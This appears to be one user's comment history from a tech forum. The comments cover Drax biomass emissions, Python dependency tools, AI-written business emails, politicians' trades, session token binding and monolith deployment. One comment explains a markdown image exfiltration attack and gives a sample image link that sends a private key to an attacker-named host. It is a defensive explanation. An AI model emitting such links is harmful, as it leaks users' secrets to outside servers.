adamckay

It takes decades to grow the trees that then absorb the CO2 that is emitted from the burning, and the biomass that Drax burns has been (and still is) imported from Canada from felling old-growth forests (some of which have been estimated to be over 250 years old), and this isn't even considering the emissions from transporting the pellets via ship, rail and road from western Canada to eastern England which is not tracked against Drax.

Your markdown file has an image that links to another server controlled by the attacker and the path/query parameters you're attempting to render contains sensitive data.

    ![](https://the-attacker.com/steal?private-key=abc123def

You can use `/model opusplan` to get that behaviour back though if you do want Opus for planning and Sonnet for editing.

I can imagine soon - within the next year or so - that business emails will simply be AI talking to AI. Especially with Microsoft pushing their copilot into Office and Outlook.

You'll need to email someone so you'll fire up Outlook with its new Clippy AI and tell it the recipient and write 2 or 3 bullet points of what you want it to include. Your AI will write the email, including the greeting and all the pleasantries ("hope this email finds you well", etc) with a wordy 3 or 4 paragraphs of text, including a healthy amount of business-speak.

Your recipient will then have an email land in their inbox and probably have their AI read the email and automatically summarise those 3 or 4 paragraphs of text into 3 or 4 bullet points that the recipient then sees in their inbox.

If you want to stick with using `pip` over any of the newer tools that build on top of it (Poetry - my favourite, pdm, pipenv, rye, ...) the simplest way I used in the past was to use a `requirements.human.txt` to set my dependencies, then install them in a venv and do `pip freeze > requirements.txt` to lock all of the transitive dependencies.

Doesn't matter in this case.

An Xbox was ordered that's classed as a "high value" item so requires a OTP being given to the driver to release the package.

The package was hand delivered to the customer when the customer provided the OTP, but it turns out the contents of the package were swapped out with junk.

Bugger.

Thanks for letting me know (embarrassingly I did load up the PEP page to make sure I remembered the right number but I didn't check its status).

Was hoping that it would make things simpler for smaller projects and newbie developers but the rejection reason is solid.

I'm asking for clarification because whilst there's a strong argument that politicians are performing insider trading (which as you say is widely regarded as something that should be stopped), if an amateur can copy those trades and make a 20% profit on them, what's stopping hedge funds from doing the same and millions or billions from what is basically second-degree insider trading?

I was asking if they are also suggesting that this second-degree insider trading be stopped somehow?

Can you clarify what you mean by "this"? Being able to copy the trades of politicians or politicians making trades that are almost instantly profitable?

Poetry is an all-in-one tool that does dependency management using `pyproject.toml` files and its own `poetry.lock` files, as well as package building, virtualenv management, and also has hooks for entrypoints and scripts.

It's rather a useful tool and I'm personally using it for dependency management and packing for all my projects moving forwards, though for venvs I'm using `pyenv` and the `pyenv-virtualenv` plugin.

Once you figure out your workflow it can be quite nice, but it's figuring it out that's a huge mess in Python at the minute. Hopefully PEP 582 (Python local packages directory) solves it a bit...

> the attacker obtained a valid administrative session token from _after_ any MFA would've been completed

But you can lock session tokens to specific IPs or user agents. I've implemented similar in the past for a B2B admin-panel, and whilst there were the occasional false positive with browsers updating in the middle of a session (incrementing the user agents version number) and people's IP changing if they switched networks (or in one instance, a badly configured office network that randomly routed through 2 proxy servers with different outbound IP addresses) which then made it demand MFA again, it was fairly rare and didn't attract too many complaints.

> In 2018, Airbnb began its migration to a service-oriented architecture, as the Ruby on Rails “monorail” started becoming hard to maintain and was a single point of failure.

A monolithic codebase doesn't have to be deployed as a single artifact to be a single point of failure.

There's nothing stopping you from deploying a monolith application across a distributed number of machines in a highly available manner, including making machines favour some types of work (e.g. web workers and background job workers). Nor is there anything stopping you from performing blue-green deployments or A/B testing if you want to interpret single point of failure as a bug is deployed to all machines simultaneously and affects your entire application.